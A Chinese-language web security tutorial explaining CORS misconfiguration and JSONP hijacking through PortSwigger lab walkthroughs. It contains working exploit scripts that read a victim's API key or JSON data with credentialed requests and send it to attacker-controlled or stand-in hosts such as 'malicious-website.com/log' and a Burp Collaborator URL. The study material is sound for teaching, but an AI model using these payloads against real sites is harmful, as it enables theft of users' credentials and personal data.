聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
前言
近期在src挖掘中經常看到大佬們提到cors,josnp一直不太理解此類漏洞。特此學習記錄一下,如有錯誤之處還望師傅們斧正。
No.1
跨域資源共享(cors)
跨域資源共享(cors)原理:
在講cors之前我們先來了解一下同源策略(sop)。
1.1 同源策略
瀏覽器的安全基石是同源策略。同源策略保證了同一個瀏覽器打開不同網站,不同網站之間不會相互影響。
列如:張三登陸了某銀行網站,瀏覽器存儲了他的cookie。而這時他又打開了另一個小網站,該小網站會記錄用戶的cookie。如果沒有同源策略,他就會記錄瀏覽器存儲的cookie,此時銀行網站的cookie也被記錄,從而造成銀行用戶cookie泄露。
同源策略中的同源是指:
三個同源:同協議,同域名,同端口,例如:
https://www.test.com 和 http://www.test.com (不同源,協議不同)
http://www.test.com 和 http://login.test.com (不同源,域名不同)
http://www.test.com:80 和 http://www.test.com:8080 (不同源,端口不同)
1.2 同源策略(sop)的窗口跨域資源共享(cors)
但是安全和方便總是難兩全。張三新開發了一個網站A,要從網站B上獲取數據,但是因為同源策略的存在他獲取不了B網站上的數據。此時他通過搜索發現一個叫做跨域資源共享的東西經過一通配置,他成功獲取到了B網站的數據:
他的配置如下:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
這個配置在滿足要求的同時也造成了嚴重的安全問題,Access-Control-Allow-Origin: * 通配符* 允許A網站訪問的同時也允許了其他任意網站的訪問。假設一個攻擊過程:
網站C的cors配置存在缺陷,被一個黑客發現,該黑客通過友鏈申請,給站長發送了一個網站鏈接,站長為了確認友鏈網站,打開了網站鏈接,而該網站中部署了黑客精心構造的惡意腳本,能夠自動獲取存儲網站C中的cookie信息,此時黑客就獲取到了站長的cookie信息...
配置講解:
Access-Control-Allow-Origin:*
web瀏覽器將Access-Control-Allow-Origin與請求網站的來源進行比較,如果匹配則允許訪問響應
例如:Access-Control-Allow-Origin:http://www.test.com
此時網站login.test.com(小A)向www.test.com(小B)發起 請求,小B一看請求源(origin)和自己的配置不一樣,知道小A可能是個壞蛋,照例將請求返回給小A,但是響應中不含有Access-Control-Allow-Origin標頭,萬能的瀏覽器一看跨域請求,響應中還沒有Access-Control-Allow-Origin字段,立馬報錯。壞蛋小A就獲取不到小B的數據了...
更多詳細講解可參考阮老師文章:https://www.ruanyifeng.com/blog/2016/04/cors.html
Access-Control-Allow-Credentials: true
該字段可選。它的值是一個布爾值,表示是否允許發送Cookie。默認情況下,Cookie不包括在CORS請求之中。
設為true,即表示服務器明確許可,Cookie可以包含在請求中,一起發給服務器。這個值也只能設為true,如果服務器不要瀏覽器發送Cookie,刪除該字段即可。
通過前面的介紹我們對cors也知名知意了,這時問題就出現了,這漏洞該怎么挖呢?
這時就要了解一下burpsuite網站的實驗室,該實驗室中存在多中漏洞實驗,在學習漏洞知識的同時也能實戰學習漏洞利用技巧,接下來就簡單記錄一下實驗過程。
實驗鏈接:https://portswigger.net/web-security/cors
實戰練習:
1.1 來源(origin)可任意更改的cors漏洞

該實驗個人賬戶界面存在賬戶的api密鑰,我們的目標就是獲取到用戶的api密鑰

通過觀察網站源碼,發現api密碼是通過一個ajax接口返回到頁面的。直接訪問接口,并將請求來源跟改為任意網站可以獲取到密鑰,說明存在cors漏洞

此時我們有一個攻擊思路:
部署一個惡意腳本到我們的網站上,并將該網址鏈接發送給要攻擊的小王,小王只要訪問了我們的鏈接,我們即可獲取到小王的api密鑰
惡意腳本:
<script>
var req = new XMLHttpRequest;
req.onload = reqListener;
// 打開api密鑰鏈接
req.open('get','https://ac0c1f2b1efc321180e1a18c007100d3.web-security-academy.net/accountDetails',true);
// 設置為true可以保證,請求的時候攜帶cookie
req.withCredentials = true;
req.send;
//將訪問api密鑰得到的數據,拼接到url中訪問自己服務,即可在服務器web日志中找到api密鑰信息
function reqListener {
location='/log?key='+this.responseText;
};
</script>
獲取到的密鑰:

1.2 來源(origin) 可為的cors漏洞
在某些應用程序中可能會將列入白名單,以支持本地應用程序的開發。
origin標頭不可以設置為任意標頭了,嘗試設置為,此時可以獲取到數據,說明存在請求來源可為的cors漏洞

本地html測試:
測試exp:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest;
req.onload = reqListener;
req.open('get','https://ac8d1f4c1ebc2af2806b9d9d00df0041.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send;
console.log(this.responseText);
</script>"></iframe>

此時我們繼續采用實驗一的攻擊思路:
部署一個惡意腳本到我們的網站上,并將該網址鏈接發送給要攻擊的小王,小王只要訪問了我們的鏈接,我們即可獲取到小王的api密鑰
編寫exp:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest;
req.onload = reqListener;
req.open('get','https://ac8d1f4c1ebc2af2806b9d9d00df0041.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send;
function reqListener {
//惡意網站
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
1.3 利用信任子域的xss獲取主域的敏感信息
有些服務器的配置為:
Access-Control-Allow-Origin: http://*.test.com
這個配置乍一看沒問題,信任自己的子域不是很正常嗎,但是子域成百上千的大網站中,子域就特別容易出問題,找個xss既有可能嚴重威脅到主站。而且該配置也不符合最小信任原則,通配符不能隨便用,應該設置為固定值。例如:
Access-Control-Allow-Origin: http://login.test.com 此時只要保證login.test.com沒問題即可確保主站不會遭受cors攻擊
在該實驗三中將來源(origin)設置為任意子域,如:

設置為不存在的example子域,依舊可以訪問敏感數據
正好該網站的檢查庫存會將單價信息返回到子域,并且productId參數存在xss漏洞

所以想到一個利用鏈:
子域觸發xss--->訪問主域敏感信息--->將敏感信息保存到任意網站
exp:
<script>
document.location="http://stock.ac671f961e9e127a8052d5200051006e.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest; req.onload = reqListener; req.open('get','https://ac671f961e9e127a8052d5200051006e.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send;function reqListener {location='https://ac021ff51e53121f804ed5d3013300da.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
exp解釋:
<script>
//子域觸發xss,xss訪問主域敏感信息
document.location="http://stock.ac671f961e9e127a8052d5200051006e.web-security-academy.net/
?productId=4
//采用原生js http請求將獲取到的內容,保存到主機
<script>var req = new XMLHttpRequest;
req.onload = reqListener;
//訪問敏感信息
req.open('get','https://ac671f961e9e127a8052d5200051006e.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send;
function reqListener {
//攜帶敏感信息,get請求訪問主機,主機log日志即可出現用戶apikey
location='https://ac021ff51e53121f804ed5d3013300da.web-security-academy.net/log?key='%2bthis.responseText; };
%3c/script>
&storeId=1"
</script>
跨域除了cors外還有一種非官方的方法jsonp,jsonp 是 JSON with padding(填充式 JSON 或參數式 JSON)的簡寫。
jsonp通過動態創建<script>標簽,然后利用<script>的src屬性不受同源策略的約束來獲取跨域數據。
jsonp在造成方便的同時也造成了一定的安全的問題。jsonp劫持最早在08年提出,早期各大廠商并不重視此類漏洞,但在個人信息保護嚴密的現在,jsonp劫持帶來的信息泄露問題,促使各大src廠商開始重視jsonp劫持漏洞。以下簡要分析jsonp劫持原理,很多不足之處,還望大佬們斧正。
No.2
jsonp劫持
2.1 漏洞場景模擬:
某司因為業務需求,需要網站B從網站A中獲取json數據,所以他們在A中實現了一個jsonp接口

接口代碼如下:
<?php
header('Content-type: Application/json');
//獲取回調函數名
$jsonpCallback = htmlspecialchars($_REQUEST ['jsonp']);
//json數據
$json_data = '["張三","12011012110","男","浙江杭州"]';
//輸出jsonp格式的數據
echo $jsonpCallback . "(" . $json_data . ")";
?>
網站B代碼如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 實例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/JAVAscript">
function callback(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/JavaScript" src="http://127.0.0.1/jsonp.php?jsonp=callback"></script>
</body>
</html>
效果如下:

此時通過jsonp接口,實現了跨域傳輸。然而該跨域傳輸過程存在很大的安全安全問題,因為對json參數調用者沒有任何限制
2.2 漏洞利用流程:
這里使用burp的collaborator client功能來接收http記錄,主要是為了實驗,也演示一下collaborator client的強大功能 ,在實際利用中可以直接向本地127.0.01發送請求,在web日志記錄中查看即可
2.2.1 打開collaborator client獲取請求鏈接


2.2.2 復制鏈接填入腳本,點擊Poll now開始循環監聽http請求。
<h1>jsonp exp</h1>
<script type="text/javascript">
function callback(result)
{
var req = new XMLHttpRequest;
//向burp的collaborator client發送請求,并攜帶獲取到json數據
req.open('get','https://r2u9atjp588pt96t5cpef5o40v6lua.burpcollaborator.net/?userinfo='+result,true);
req.withCredentials = true;
req.send;
}
</script>
//jsonp接口
<script type="text/javascript" src="http://127.0.0.1/jsonp.php?jsonp=callback"></script>
2.2.3 將腳本部署到惡意網站,并將網站鏈接發送給受害者,受害者訪問鏈接,即可在collaborator client中獲取到用戶的json數據。

2.3 jsonp挖掘思路
知道了應用場景,也知道利用流程,此時就應該思考怎么利用jsonp漏洞了
工具挖掘可以使用xray,xray自帶有jsonp漏洞檢測功能,監聽端口,被動掃描就完事
手工挖掘也有一些小技巧,大佬總結的jsonp接口常用參數:
cb
callback
jsoncb
jsonpcb
jsonp
jQuery
jsoncallback
jsonpcallback
jsoncall
jsonpcall
訪問網站首頁

1.打開network
2.勾選Preserver log
3.在搜索框中搜索常用jsonp參數
搜索到帶有相關參數的鏈接,即可使用exp驗證是否存在jsonp泄露。
驗證poc:
<!DOCTYPE html>
<html>
<head>
<title>jsonp劫持驗證示例</title>
<meta charset="utf-8">
<style type="text/css">
table{
display:inline
}
</style>
</head>
<body>
<script src='https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js'></script>
<script type="text/javascript">
function callback(json){
console.log(json);
}
var s=document.createElement('script');
s.type="text/javascript";
//漏洞可能存在點
s.src='http://127.0.0.1/jsonp.php?jsonp=callback';
document.body.appendChild(s);
</script>
</body>
</html>

console.log獲取到數據,說明存在該漏洞
參考鏈接:
https://blog.knownsec.com/2015/03/jsonp_security_technic/
https://mp.weixin.qq.com/s/SuEpF3RIZIv2CcIUok8SoQ
https://www.k0rz3n.com/2018/06/05/%E7%94%B1%E6%B5%85%E5%85%A5%E6%B7%B1%E7%90%86%E8%A7%A3JSONP%E5%B9%B6%E6%8B%93%E5%B1%95/